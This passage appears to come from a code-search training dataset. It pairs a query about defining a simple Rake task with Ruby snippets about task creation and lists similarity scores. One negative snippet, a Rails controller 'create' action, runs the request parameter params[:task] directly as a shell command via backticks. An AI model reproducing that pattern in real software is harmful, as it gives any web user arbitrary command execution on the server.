(lTrackInfo[:Processes] != nil)\n lLstProcesses.concat(lMixConf[:Processes]) if (lMixConf[:Processes] != nil)\n lLstProcesses = optimizeProcesses(lLstProcesses)\n if (lLstProcesses.empty?)\n # Nothing to do\n lFinalMixFileName = lSourceFileName\n else\n lFinalMixFileName = generateRakeForProcesses(lLstProcesses, lSourceFileName, getMixDir)\n end\n else\n # Here, there will be a step of mixing files\n # 1. Process source files if needed\n lLstProcessedSourceFiles = []\n lMixConf[:Tracks].keys.sort.each do |iTrackID|\n lTrackInfo = lMixConf[:Tracks][iTrackID]\n # Get the source file for this track ID\n lSourceFileName = Rake::Task[@Context[:FinalMixSources][iTrackID]].data[:FileName]\n # By default it will be the processed file name\n lProcessedFileName = lSourceFileName\n # Get the list of processes to apply to it\n if (lTrackInfo[:Processes] != nil)\n lLstProcesses = optimizeProcesses(lTrackInfo[:Processes])\n if (!lLstProcesses.empty?)\n lProcessedFileName = generateRakeForProcesses(lLstProcesses, lSourceFileName, getMixDir)\n end\n end\n lLstProcessedSourceFiles << lProcessedFileName\n end\n # 2. Mix all resulting files\n lFinalMixFileName = getMixFileName(getMixDir, lMixName, lMixConf[:Tracks])\n\n desc \"Mix all processed sources for mix #{lMixName}\"\n file lFinalMixFileName => lLstProcessedSourceFiles do |iTask2|\n lMixInputFile = iTask2.prerequisites.first\n lLstMixFiles = iTask2.prerequisites[1..-1]\n wsk(lMixInputFile, iTask2.name, 'Mix', \"--files \\\"#{lLstMixFiles.join('|1|')}|1\\\" \")\n end\n\n # 3. Process the mix result\n if (lMixConf[:Processes] != nil)\n lLstProcesses = optimizeProcesses(lMixConf[:Processes])\n if (!lLstProcesses.empty?)\n lFinalMixFileName = generateRakeForProcesses(lLstProcesses, lFinalMixFileName, getMixDir)\n end\n end\n end\n log_info \"File produced from the mix #{lMixName}: #{lFinalMixFileName}\"\n iTask.data = {\n :FileName => lFinalMixFileName\n }\n end\n\n end\n\n return rTarget\n end", "def file_name\n \"#{task_name}.rake\"\n end", "def invoke_task(task_string)\n #puts \"invoking task: '#{task_string}'\"\n taskPath, args = parse_task_string(task_string)\n #puts \"parsed args are #{args}\"\n \n projectPath, name = GetProjectFilePathName(taskPath)\n \n if(projectPath == nil and (name == \"clean\" or name == \"clobber\"))\n # Execute all clean targets\n puts \"Cleaning all projects...\"\n @ProjectFileLoader.LoadedProjectFiles().each do |projFile| \n task = projFile[name]\n task.invoke(*args)\n end\n else\n task = self[taskPath]\n task.invoke(*args)\n end\n end", "def define_tasks\n # Run the command on the local system\n def run(cmd)\n Kernel.system(cmd.runnable)\n end\n # Basic setup action\n def setup_application\n @options ||= PoolParty.options(ARGV.dup)\n end\n \n # Require the poolparty specific tasks\n compiled_rakefile\n \n desc \"Reload the static variables\"\n task :reload do\n reload!\n end\n true\n end", "def make_sourcery_wixobj_file_task\n return unless Rake::FileTask.task_defined? 'wix/Sourcery.wxs'\n wixobj = Rake::FileTask.define_task 'wix/Sourcery.wixobj' do |t|\n wix_run 'candle', \"-nologo wix/Sourcery.wxs -dSource=wix/src -o #{t.name}\"\n end\n wixobj.comment = 'Create the Sourcery.wixobj file'\n wixobj.enhance ['wix/Sourcery.wxs']\n end", "def task_list\n return @task_list if @task_list\n @task_list = []\n spec_file_names.each do |file_name_spec|\n next if spec_is_disabled? file_name_spec\n next if skip_globals? file_name_spec\n next unless spec_included? file_name_spec\n get_spec_runs(file_name_spec).each do |run|\n next unless run[:hiera] and run[:facts]\n next unless facts_included? run[:facts]\n next unless hiera_included? run[:hiera]\n task = Noop::Task.new file_name_spec, run[:hiera], run[:facts]\n task.parallel = true if parallel_run?\n @task_list << task\n end\n end\n @task_list\n end", "def define_compiler_tasks\n require \"rake/extensiontask\"\n\n @extensions.each do |name|\n clean_globs << \"lib/#{name}/*.{so,bundle,dll}\"\n\n Rake::ExtensionTask.new name, spec do |ext|\n ext.lib_dir = File.join(*[\"lib\", name.to_s, ENV[\"FAT_DIR\"]].compact)\n end\n end\n\n compile_tasks.each do |t|\n task t => :compile\n end\n rescue LoadError\n warn \"Couldn't load rake-compiler. Skipping. Run `rake newb` to fix.\"\n end", "def build_default_tasks\n @rake_task << self.step_template # get General Configuration information\n end", "def define_clean_tasks\n require 'rake/clean'\n end", "def load_task(task_file_str, name=nil)\n name = name || task_file_str.partition(/\\./)[0]\n return_task = Task.new(name)\n #TODO: remove/insert underscores\n\n\n return return_task unless File.exist?(task_file_str)\n\n lines = []\n File.open(task_file_str,'r') do |task_file|\n while line = task_file.gets\n lines.push(line)\n end\n end\n\n\n\n previous_task = return_task\n indent_level = -1\n until lines.empty?\n line = lines.shift\n\n #Count the number of tabs to get the indent level\n new_indent_level = line.slice!(/^\\t*/).length\n\n #Make a new task named everything after the initial tabs\n current_task = Task.new(line)\n\n indent_difference = new_indent_level - indent_level\n if indent_difference <= 0\n #This task belongs to some parent of the previous_task read\n parent_task = previous_task.get_parent(-indent_difference)\n elsif indent_difference == 1\n #This task is a subtask of the previous_task read\n parent_task = previous_task\n else\n #Indent level skips by at least 2, unacceptable\n #TODO: return error\n end\n\n current_task.move(parent_task)\n\n previous_task = current_task\n indent_level = new_indent_level\n\n end\n\n return_task\nend" ]
[ "0.6867006", "0.65400964", "0.6450239", "0.6214098", "0.5953491", "0.5820577", "0.5759924", "0.5693695", "0.56675607", "0.56675607", "0.56378096", "0.5621367", "0.56165826", "0.5611207", "0.5603605", "0.5560159", "0.5543449", "0.5492799", "0.54762465", "0.5452826", "0.5451332", "0.54506356", "0.54428786", "0.53962225", "0.53962225", "0.53962225", "0.5389455", "0.5361099", "0.5336347", "0.5327133", "0.5301631", "0.52880156", "0.52880156", "0.52683103", "0.5257746", "0.5257703", "0.5246785", "0.52168405", "0.52155167", "0.521178", "0.52117133", "0.5198842", "0.51960576", "0.519601", "0.51912344", "0.5185406", "0.5178899", "0.51695216", "0.51428807", "0.5123263", "0.51227194", "0.51163596", "0.50948143", "0.5087261", "0.5080999", "0.5077972", "0.50711626", "0.5058324", "0.5049602", "0.5031412", "0.50303847", "0.50295615", "0.50149435", "0.50103396", "0.5002418", "0.50017935", "0.49868354", "0.49852458", "0.4985068", "0.49782056", "0.49745068", "0.49743485", "0.4970965", "0.4967682", "0.49626863", "0.4946963", "0.49407905", "0.49287102", "0.49190837", "0.49150217", "0.49044037", "0.49016193", "0.4897664", "0.48927706", "0.4890498", "0.48904398", "0.48889488", "0.48849887", "0.4884695", "0.48825046", "0.48759997", "0.4872808", "0.4867708", "0.4865238", "0.4858329", "0.48533964", "0.48530814", "0.48461434", "0.4832495", "0.48283568" ]
0.71497864
0
Code for a simple task. The body of the task is given :task_body
def simple_rake_task(task_name = 'test_task', indent: '', task_body: "\n") "\n" + indent + "desc 'task named #{task_name}'\n" + indent + "task :#{task_name} do\n" + indent + " " + task_body + indent + "end\n\n" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def simpleTasks _args\n \"simpleTasks _args;\" \n end", "def task\n end", "def description\n \"This is an example Tapir task. It associates a random host with the calling entity.\"\nend", "def createSimpleTask _obj, _args\n \"_obj createSimpleTask _args;\" \n end", "def description\n \"This is an example Tapir task. It associates a random host with the calling entity.\"\n end", "def description\n \"This task simply attaches a note entity to the current entity.\"\nend", "def define\r\n\t\t\ttask :foo do\r\n\t\t\t\tputs 'foo!'\r\n\t\t\tend\r\n\t\tend", "def task(name,&ruby_block)\n HDLRuby::High::Std.task(name,&ruby_block)\n end", "def define_task\n desc @desc\n task @name do\n config.mode == 'shell' ? run_shell : run\n end\n end", "def description\n \"This task converts a netblock into host records\"\nend", "def define\r\n\t\ttask :baz do\r\n\t\t\tputs 'these are ' + @message\r\n\t\tend\r\n\tend", "def description\n\t\t\"Msf Wrapper Task\"\n\tend", "def define\n\t\ttask :foo do\n\t\t\tputs 'foo!'\n\t\tend\n\tend", "def new_task(task)\n @greeting = \"Hi\"\n @id = task.id\n\n mail to: task.email\n end", "def taskDescription _args\n \"taskDescription _args;\" \n end", "def print_task(task)\n print \"==> \".info, task.bold, \"\\n\"\nend", "def taskNull \n \"taskNull\" \n end", "def run(task)\n debug \"Run task: #{task}\"\n raise Deployment::NotImplemented, 'This method is abstract and should be implemented in a subclass'\n end", "def task(*args, &block)\n Util.task(*args, &block)\n end", "def initialize(task)\n @task = task\n end", "def explain_true(task); end", "def task_creation(task)\n @task = task\n @project = @task.project\n mail to: task.user.email, subject: \"New task created: #{task.name}\"\n end", "def perform(**task)\n raise \"No work defined! for this task: #{task[:body]}. Define #perform private method in your class\"\n end", "def task(name, description=nil, &block)\n puts \"adding task :#{name}\"\n in_root(\"lib/tasks\") do |folder|\n File.open(\"#{folder}/application.rake\", \"a+\") do |f|\n if block_given?\n f.write(code_for(block))\n else\n f.write(data)\n end\n end\n end\n end", "def description\n\t\t\"Msf Pro Wrapper Task\"\n\tend", "def call(_obj, args, _ctx)\n Task.create!(\n name: args[:name],\n description: args[:description]\n )\n end", "def step(task_name, opts = EMPTY_HASH)\n task(task_name, opts)\n end", "def task name, options={}, &block\n task = Task.new name, options, &block\n TodoRunner.registry[name] = task\n end", "def task(&block) \n task = TaskRunnable.new\n task.proc = Proc.new(block)\n task\n end", "def task(name, options = {}, &block)\n name = name.to_s.downcase.to_sym\n task_re = /\\A[a-z0-9.:-_]+\\z/\n raise \"Task already exists: #{name}\" if $bot[:tasks].include?(name)\n raise \"Task name does not match regexp #{task_re.to_s}\" unless name.to_s.match(task_re)\n\n opts = {\n desc: ''\n }.merge(options)\n\n $bot[:tasks][name] ||= {\n block: block,\n desc: opts[:desc]\n }\n end", "def create_task\n task = Task.create!(\n description: 'Test Task'\n )\nend", "def description\n\t\"This task scrapes Hoovers for company info.\"\nend", "def description\n \"This task runs a web scan and adds webpages with interesting contents\"\nend", "def description\n \"This task hits the corpwatch API and adds detail for the organization.\"\nend", "def set_simple_task\n @simple_task = SimpleTask.find(params[:id])\n end", "def task\n @task = MailTasks::Task.find( params[:id] )\n end", "def test_create_a_new_task\n results = Task.createNewTask(\"#{MyApp.settings.root}/tests/unit/tasks_test_add_new.txt\", \"Bob\", \"Sweep up Grandpa's ashes\", \"12373514\")\n assert_equal(nil, results)\n end", "def task_instance(name,*args,&ruby_block)\n HDLRuby::High::Std.task_instance(name,*args,&ruby_block)\n end", "def task(name, &block)\n task = Wodan::Task.new(name)\n yield(task)\n wodan.tasks << task\n end", "def task(name)\n get \"#{base_url}/tasks/#{name}\"\n end", "def doc_task; end", "def initialize(task)\n super()\n @task= task \n end", "def erb(args, &block)\n Necktie::ErbTask.define_task(args, &block)\nend", "def run(input)\n task = input\n task_name = \"#{task[1..-1].join(\" \")}\"\n case task[0] \n when \"add\" then add_task(task_name)\n when \"index\" then read_index\n when \"delete\" then delete_task(task_name)\n when \"complete\" then update_complete(task_name)\n end\n end", "def name\n\t\t\t@task\n end", "def create\n @task = params[:task]\n redirect_to new_task_url if @task.blank?\n @response = `#{@task}`\n end", "def doc_task=(_arg0); end", "def external_task\n output[:task]\n end", "def task(name, &block)\n name = name.to_s\n\n unless task = @tasks.find{|t| t.name == name}\n task = Salticid::Task.new(name, :salticid => self)\n @tasks << task\n end\n \n if block_given?\n task.block = block\n end\n\n task \n end", "def task(executor, message)\n\n domain = message['exid'].split('-', 2).first\n #tname = message['tasker']\n tname = determine_tasker_name(executor, message)\n\n tconf =\n ( ! message['routed'] &&\n (@unit.loader.tasker(domain, 'ganger', message) ||\n @unit.loader.tasker(domain, 'tasker', message))) ||\n @unit.loader.tasker(domain, tname, message)\n\n fail ArgumentError.new(\n \"tasker #{tname.inspect} not found\"\n ) unless tconf\n\n if tconf.is_a?(Array)\n\n points = [ nil, message['point'] ]\n points << 'detask' if points.include?('cancel')\n points << 'task' if points.include?('return')\n\n tconf = tconf.find { |h| points.include?(h['point']) }\n end\n\n fail ArgumentError.new(\n \"tconf #{tconf.inspect} not a hash\"\n ) unless tconf.is_a?(Hash)\n\n message['tconf'] = tconf unless tconf['include_tconf'] == false\n\n message['vars'] = gather_vars(executor, tconf, message)\n\n m = Flor.dup_message(message)\n #\n # the tasker gets a copy of the message (and it can play with it\n # to its heart content), meanwhile the message is handed to the\n # \"post\" notifiers.\n\n @unit.caller.call(self, tconf, m)\n #\n # might return a re-routing message,\n # especially if it's a domain tasker\n end", "def task=(value)\n @task = value\n end", "def description\n \"This task hits the Corpwatch API and creates an object for all found entities.\"\nend", "def create_task(options = {})\n task = Task.create({\n title: \"a\"*(Task::TITLE_MIN_LENGTH),\n difficult: Task::PERMITTED_FIBONACCI_VALUES.first,\n description: \"a\"*(Task::DESCRIPTION_MIN_LENGTH)\n }.merge(options))\n\n return task\n end", "def create\n @task = Task.new(task_params)\n @task.start\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to tasks_url, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\tformat_task_attributes(task_params)\n\t\t@task =Task.new(@updated_params)\n\t\tlogger.debug \"Created Task #{@task}\"\n\t\t@task.user = current_user\n\t\tauthorize! :create, @task\n\t\t@task.is_completed=false\n\t\tsave_task\n\tend", "def description\n \"This task hits the Corpwatch API and creates an entity for all found entities.\"\nend", "def empty_task(label=\"(Empty)\", &block)\n #:: clear @_empty_task.\n @_empty_task = nil\n #: prints section title if not printed yet.\n #: creates empty task object and returns it.\n t = _new_task(label, &block)\n #: saves empty task object.\n #:: don't add empty task to @tasks.\n @_empty_task = t\n t\n end", "def explain_static(task); end", "def task_create(task, data=nil)\n if task_present? task\n task = task_get task\n elsif task.is_a? Deployment::Task\n task = task_add task\n else\n task = Deployment::Task.new task, node, data\n task = task_add task\n end\n task.data = data if data\n task\n end", "def create(task)\n validate_type!(task)\n\n attributes = sanitize(task)\n _, _, root = @client.post(\"/tasks\", attributes)\n\n Task.new(root[:data])\n end", "def task(name, *dependencies, &block)\n if block.nil?\n Task.new(name, *dependencies)\n else\n Task.new(name, *dependencies) do |task|\n task.define(&block)\n end\n end\n end", "def create_task(options = {})\n request(:post, \"tasks\", options)\n end", "def run_task(broker, targets, task, files, input: {}, metadata: nil, **kwargs, &block)\n params = { task: task, input: input, files: files }\n params[:metadata] = metadata if metadata\n do_module_action(broker, agent_identities(targets), 'task', 'run', params, **kwargs, &block)\nend", "def test_edit_a_task_add_new_function_part\n results = Task.editExistingTask(\"#{MyApp.settings.root}/tests/unit/tasks_test_model_file.txt\", \"i\", \"Bob\", \"Run the Roomba\", \"28373316\")\n assert_equal(nil, results)\n end", "def run_task(task_name)\n puts heading(\"Running #{task_name}\")\n @results[task_name] = Rake::Task[task_name].invoke\n end", "def task(*args, &block)\n args, cond = Rake::Task.strip_conditions(args)\n task = Rake::Task.define_task(*args, &block)\n task.add_conditions cond\n task\n end", "def post_task\n end", "def createTask(description) \n task = Task.new\n task.Description = description\n @Tasks.push task\n end", "def initialize(description, completed_status = false) # Initialize method that is similar to a Constructor in Java\n @description = description # Method initializes each task object with a description\n @completed_status = completed_status # Boolean value to determine whether task is complete or not complete, default is false\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def new\n @task = Task.new\n end", "def task\n @task ||= default_task # rubocop:disable ThreadSafety/InstanceVariableInClassMethod\n end", "def action_for_task(task)\n task\n end", "def create\n @task = Task.new(task_params)\n @task[:authorization_id] = Authorization.current_id\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created}\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_task\r\n\r\n t = BgWorker.task(:name => params[:task][:name]) # new task so we update data\r\n if t[:name].blank?\r\n flash[:error] = _('Invalid name!')\r\n redirect_to :action => :back\r\n end\r\n t[:filename]\t= Rails.root.join('lib', 'tasks', \"bg_worker_#{t[:name]}.rake\")\r\n id \t\t= params[:task][:id]\r\n t[:code]\t= params[:task][:code]\r\n t[:namespace] \t= params[:task][:namespace]\r\n t[:desc]\t= params[:task][:desc]\r\n t[:args]\t= params[:task][:args].blank? ? nil :\r\n params[:task][:args].tr(' :', ',').split(',').compact.map{|d|\r\n \":#{d}\".gsub('::', ':') unless d.blank?}.compact.join(', ')\r\n arg_string\t= \", [#{t[:args]}]\" unless t[:args].blank?\r\n t[:dependencies]= params[:task][:dependencies].blank? ? nil :\r\n params[:task][:dependencies].tr(' :', ',').split(',').compact.map{|d|\r\n \":#{d}\".gsub('::', ':') unless d.blank?}.compact.join(', ')\r\n dep_string\t= \" => [#{t[:dependencies]}]\" unless t[:dependencies].blank?\r\n t = BgWorker.task(t)\r\n file = %Q[# name: #{t[:name]}\r\n\r\n # args: #{t[:args]}\r\n # desc: #{t[:desc]}\r\n #{\"# namespace: #{t[:namespace]}\" unless t[:namespace].blank?}\r\n # dependencies: #{t[:dependencies] unless t[:dependencies].blank?}\r\n #{\"namespace :#{t[:namespace]} do\" unless t[:namespace].blank?}\r\n\r\n desc %q[#{t[:desc]}]\r\n task :#{t[:name]} #{arg_string} #{dep_string} do |task #{', args' if arg_string}|\r\n\r\n #{t[:code]}\r\n\r\n end\r\n\r\n #{'end' unless t[:namespace].blank?}]\r\n\r\n if !id.blank? && id != t[:name]\r\n begin\r\n File.rm(Rails.root.join('lib', 'tasks', \"#{id}.rake\"))\r\n rescue\r\n flash[:error] = _('Task %{obj} could not be erased!') % {:obj => id}\r\n end\r\n end\r\n begin\r\n File.open(t[:filename], 'w+') {|f| f.write file}\r\n flash[:notice] = _('%{obj} successfully modified') % {:obj => _('Task')}\r\n rescue\r\n flash[:error] ||= ''\r\n flash[:error] << _('%{obj} could not be modified!') % {:obj => _('Task')}\r\n end\r\n redirect_to :action => :list\r\n end", "def create\n #byebug\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def description\n \"This task hits the Google API and finds related content. Discovered domains are created.\"\nend", "def description\n \"This task hits the Google API and finds related content. Discovered domains are created.\"\nend", "def formationTask _args\n \"formationTask _args;\" \n end", "def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend", "def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend", "def add_task\n\n new_description_prompt_print\n\n increment_task_id_counter\n\n new_text = gets.chomp\n\n @tasks[@id_counter] = create_task(new_text)\n\n end", "def description\n \"This task can be used to guess usernames, given a user.\"\nend", "def create\n @task = Task.new(task_params)\n @task.save\n end", "def pre_task\n end", "def task_help(shell, task_name)\n meth = normalize_task_name(task_name)\n task = all_tasks[meth]\n handle_no_task_error(meth) unless task\n\n shell.say \"Usage:\"\n shell.say \" #{banner(task)}\"\n shell.say\n class_options_help(shell, nil => task.options.map { |_, o| o })\n if task.long_description\n shell.say \"Description:\"\n shell.print_wrapped(task.long_description, :ident => 2)\n else\n shell.say task.description\n end\n end", "def code\n if @deadline\n \"task_#{event_name} && (\"\\\n \"task_#{event_name}.time.to_f > #{@deadline.to_f}\"\\\n \")\"\n else\n \"!!task_#{event_name}\"\n end\n end", "def cli\n CLIManageTasks.new \n end", "def add_task(task_name)\n unless File.exist? \"app/scheduled_jobs/#{task_name}.rb\"\n raise \"Task #{task_name} does not exist!\"\n end\n url = \"http://localhost:#{server_port}/tasks/#{task_name}\"\n command \"/usr/bin/curl #{url} -X POST\"\nend" ]
[ "0.70842534", "0.70090413", "0.69444466", "0.69333863", "0.69081366", "0.681818", "0.67373914", "0.6728013", "0.67245424", "0.6723103", "0.66986424", "0.6596913", "0.6589006", "0.65321743", "0.65222645", "0.644586", "0.6442598", "0.643196", "0.63979", "0.6396713", "0.6366232", "0.63596344", "0.6359144", "0.6352879", "0.63401043", "0.6338515", "0.63203734", "0.6319974", "0.63127023", "0.6308417", "0.6294558", "0.6290902", "0.6285156", "0.6265467", "0.62569004", "0.62548184", "0.6248538", "0.6240144", "0.62399757", "0.62236124", "0.6208582", "0.62011784", "0.6200612", "0.6194468", "0.61941934", "0.6187387", "0.6170068", "0.6169588", "0.6162936", "0.6151769", "0.6147225", "0.6139428", "0.6138073", "0.61360186", "0.6135018", "0.61271644", "0.6122419", "0.6112054", "0.6101229", "0.6098212", "0.6097028", "0.6094325", "0.60814285", "0.6076446", "0.606319", "0.6054795", "0.60545206", "0.60544187", "0.6033525", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.6020398", "0.60065204", "0.6001491", "0.59924674", "0.59913933", "0.59883934", "0.5983654", "0.5983654", "0.59725213", "0.59653276", "0.59653276", "0.59584785", "0.5955276", "0.5933482", "0.59300876", "0.5928844", "0.5925643", "0.59181863", "0.59120864" ]
0.81454754
0
Init a new TargetIntegrator
def initialize(target, use_input_output_paths: true) @target = target @use_input_output_paths = use_input_output_paths end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize_target\n end", "def initialize( target )\n\t\t@target = target\n\tend", "def initialize(target)\n @target = target\n end", "def target_init\n @scope = Scope.new('GLOBAL')\n @references = References.new\n end", "def _target\n @_target ||= @_initializer.call\n end", "def initialize(target)\n @target = target\n end", "def initialize(target)\n @target = target\n end", "def initialize(target)\n @target = target\n end", "def initialize(target)\n @target = target\n end", "def initialize(target)\n @target = target\n @isa, @abi, @proxy = nil, nil, nil \n end", "def initialize(target, starting_parameters = nil)\n @target = target\n @parameters = starting_parameters || {}\n end", "def initialize(target_class)\n @target_class = target_class\n @machine = Machine.new(target_class)\n end", "def initialize\n set_robot_agents\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize(target)\n @target = target\n @name = target.display_name\n @is_test_target = target.test_target_type?\n end", "def initialize(framework)\n\t\tself.framework = framework\n\t\tself.monitor = spawn_monitor\n\tend", "def initAnts(targetName, freq)\n $stderr.puts \"Initializing antennas for target=#{targetName}, freq=#{freq}\";\n puts \"Initializing antennas for target=#{targetName}, freq=#{freq}\";\n\n @targetName = targetName;\n\n puts getAntList(\",\");\n lna();\n pams($pamBand);\n focus(freq);\n setLO(\"b\", freq);\n setLO(\"c\", freq);\n createEphem(targetName);\n track(@targetName);\n autoatten();\n\n $stderr.puts \"Finished Initializing antennas for target=#{targetName}, freq=#{freq}\";\n puts \"Finished Initializing antennas for target=#{targetName}, freq=#{freq}\";\n end", "def initialize(*args)\n super(*args)\n @target = Exercises.new\n end", "def init\n @init.call if @init\n end", "def initialize()\n self.kind = CIAT::Processors::Interpreter.new\n self.description = \"Parrot virtual machine\"\n self.libraries = []\n yield self if block_given?\n end", "def initialize(target,value)\n @target = target\n @value = value\n end", "def initPlugin\n initTestCase do\n require \"WEACEToolkit/Slave/Adapters/#{@ProductID}/#{@ToolID}/#{@ScriptID}\"\n lActionPlugin = eval(\"WEACE::Slave::Adapters::#{@ProductID}::#{@ToolID}::#{@ScriptID}.new\")\n yield(lActionPlugin)\n end\n end", "def initialize\n\t\t\tplugins.init(self)\n\t\tend", "def initialize(target, test_xcconfig = false)\n @target = target\n @test_xcconfig = test_xcconfig\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def initialize(*args)\n super\n\n self.targets.each do |tgt|\n tgt_f = application.define_task(Rake::FileTask, File.join(self.to_s, tgt))\n tgt_f.comment = \"Build #{tgt} in #{self}\"\n tgt_f.enhance([self])\n end\n end", "def init\n\n end", "def initialize options\r\n super\r\n @target = options[:target]\r\n end", "def initialize(isolator, context)\n @instance = isolator.subject\n @messenger = context.messenger\n @messenger.recorder = @recorder = context.recorder\n @expectations = context.expectations\n @proxy = isolator.isolation\n isolator.isolation.class.instance_variable_set(\"@___context___\", self)\n end", "def mpt_init; end", "def initialize(robot)\n super\n end", "def new \n @intervention = Intervention.new\n logger.info(\"INTERVENTIONS CONTROLLER \") \n end", "def initialize(base, target, metadata)\n @base, @target, @metadata = base, target, metadata\n end", "def initialize\n init\n end", "def initialize(target = :production)\n @sync_errors = []\n @target = target\n\n case target\n when :dev\n @group = 'gitlab/release/managers'\n @client = Gitlab.client(\n endpoint: DEV_API_ENDPOINT,\n private_token: ENV['RELEASE_BOT_DEV_TOKEN']\n )\n when :ops\n @group = 'gitlab-org/release/managers'\n @client = Gitlab.client(\n endpoint: OPS_API_ENDPOINT,\n private_token: ENV['RELEASE_BOT_OPS_TOKEN']\n )\n else\n @target = :production\n @group = 'gitlab-org/release/managers'\n @client = Gitlab.client(\n endpoint: GITLAB_API_ENDPOINT,\n private_token: ENV['RELEASE_BOT_PRODUCTION_TOKEN']\n )\n end\n end", "def init\n raise NotImplementedError\n end", "def run_init\n run(\n result:\n ::Kitchen::Terraform::Client::Command\n .init(\n options:\n ::Kitchen::Terraform::Client::Options\n .new\n .disable_input\n .enable_lock\n .lock_timeout(duration: config_lock_timeout)\n .maybe_no_color(toggle: !config_color)\n .upgrade\n .from_module(source: config_directory)\n .enable_backend\n .force_copy\n .backend_configs(keys_and_values: config_backend_configurations)\n .enable_get\n .maybe_plugin_dir(path: config_plugin_directory)\n .verify_plugins(toggle: config_verify_plugins),\n working_directory: instance_directory\n )\n )\n end", "def initialize(name, target, agent)\n @agent = agent\n @name = name\n @target = target\n if self.class.exist(name, agent)\n import\n else\n create\n end\n end", "def initialize generator\n @template_id, @generator_name, @default_line = GENERATORS.match generator\n end", "def setup_target\n log \"Setting up #{@target}\"\n\n if File.exists? @target\n raise ArgumentError, %{Target directory \"#{@target}\" already exists}\n end\n\n FileUtils.mkdir @target\n\n run \"git init .\"\n\n # TODO: Create runner file\n end", "def initialize (target_name, source_paths, logger=Logger.new($stdout))\n @target_name = File.expand_path target_name\n @source_paths = source_paths.map! {|p| File.expand_path p}\n @completed = false\n @logger = logger\n @count = 0\n end", "def initialize( config )\n\t\t\t@config = config\n\t\t\t@targets = nil\n\t\t\t@cancelled = false\n\t\tend", "def initialize_configuration\n\n #Pulse the Program pin via JTAG.\n self.instruction = :jprogram\n\n #Put the device into configuration mode, and give it 14,000 cycles to start up.\n self.instruction = :cfg_in\n run_test(ConfigurationStartup)\n\n end", "def initialize(source, target_model)\n @source = source\n @target_model = target_model\n end", "def init\n self\n end", "def initialize(target, public_xcconfig)\n @target = target\n @public_xcconfig = public_xcconfig\n end", "def initialize(robot_dir)\n super()\n \n @robot_dir = Pathname.new(robot_dir).expand_path # The robot's source/resource directory. NEVER RUN FILES IN IT!\n @config = RobotConfiguration.new(robot_dir + 'config.xml')\n \n @ident = object_id.to_s # The guid of the robot.\n LOG.debug \"New Robot Ident: #{ident}\"\n \n build_components()\n \n @bootstrap = Waiter.new # A waiter that is used to wait until bootstrap is complete.\n @socket = nil # The socket connection to the robot process.\n @process_thread = nil # The thread that the robot process is running in. (It does a wait and only exits if the script exits)\n @process = nil # The process object for the robot process in case one needs to poke it.\n end", "def initialize\n @log = Logger.new(STDOUT)\n @log.level = Logger::INFO\n self.load_config\n self.init_settings\n @assemblers = []\n self.load_assemblers\n end", "def start\n self.assign_handler(Puerto::Handlers::Setup.new, self)\n end", "def initialize(target, bundle_package_type: :fmwk)\n @target = target\n @bundle_package_type = bundle_package_type\n end", "def create_target_mock\n ref = self.service_name.downcase.gsub(/ /, '-')\n create_row = {\n ref: ref,\n display_name: self.service_name,\n type: 'instance',\n iaas_type: 'ec2',\n iaas_properties: {},\n project_id: self.project.id\n }\n Model.create_from_row(self.project.model_handle(:target), create_row, convert: true, ret_obj: { model_name: :target_instance })\n end", "def at_init\n\n\t\tend", "def initialize(options = nil)\n @id = Pigeon::Support.unique_id\n\n wrap_chain(:initialize) do\n @options = options || { }\n \n @task_lock = Mutex.new\n @task_locks = { }\n\n @task_register_lock = Mutex.new\n @registered_tasks = { }\n \n self.logger ||= self.engine_logger\n self.logger.level = Pigeon::Logger::DEBUG if (self.debug?)\n \n @dispatcher = { }\n \n @state = :initialized\n end\n end", "def init\n require File.expand_path( '../irbtools.rb', File.dirname(__FILE__) )\n end", "def initialize_sink\n\t\tself.sink = TaskManager.new(framework)\n\t\tself.sink.start\n\tend", "def initialize engine,tires\n\t\t@engine = engine\t#instance variables\n\t\t@tires = tires\n\tend", "def init\n # import text files\n @target_array = acquire_target_array\n @element_array_list = acquire_element_array_list\n\n # set count\n @init_count = acquire_element_init_count(@element_array_list)\n @temp_count = acquire_element_temp_count(@element_array_list)\n\n self\n end", "def initialize(instrumenter)\n @instrumenter = instrumenter\n end", "def initialize(initializer)\r\n @initializer = initializer\r\n end", "def initialize logger, options\n @logger = logger\n @options = options\n raise AgentError, \"no configuration specified.\" unless @options\n @locker = Monitor.new\n @threads = nil\n end", "def initialize() end", "def initialize(actor_id)\n super()\n setup(actor_id)\n end", "def initialize()\n begin\n puts \"Eis::Runner::init called\" if $DEBUG\n @loaded_modules = []\n generate_module_list()\n handle = InputHandler.new()\n set_environment()\n rescue ArgumentError =>e\n puts \"\\e[31mERROR\\e[0m: No config file given...\" + e\n puts \"--------------------------------------------\"\n raise\n end\n end", "def new\n @tactic = Tactic.new\n end", "def initialize(terminal)\n super do\n self.thread_variable_set(\"input\", nil)\n self.thread_variable_set(\"output_history\", [])\n 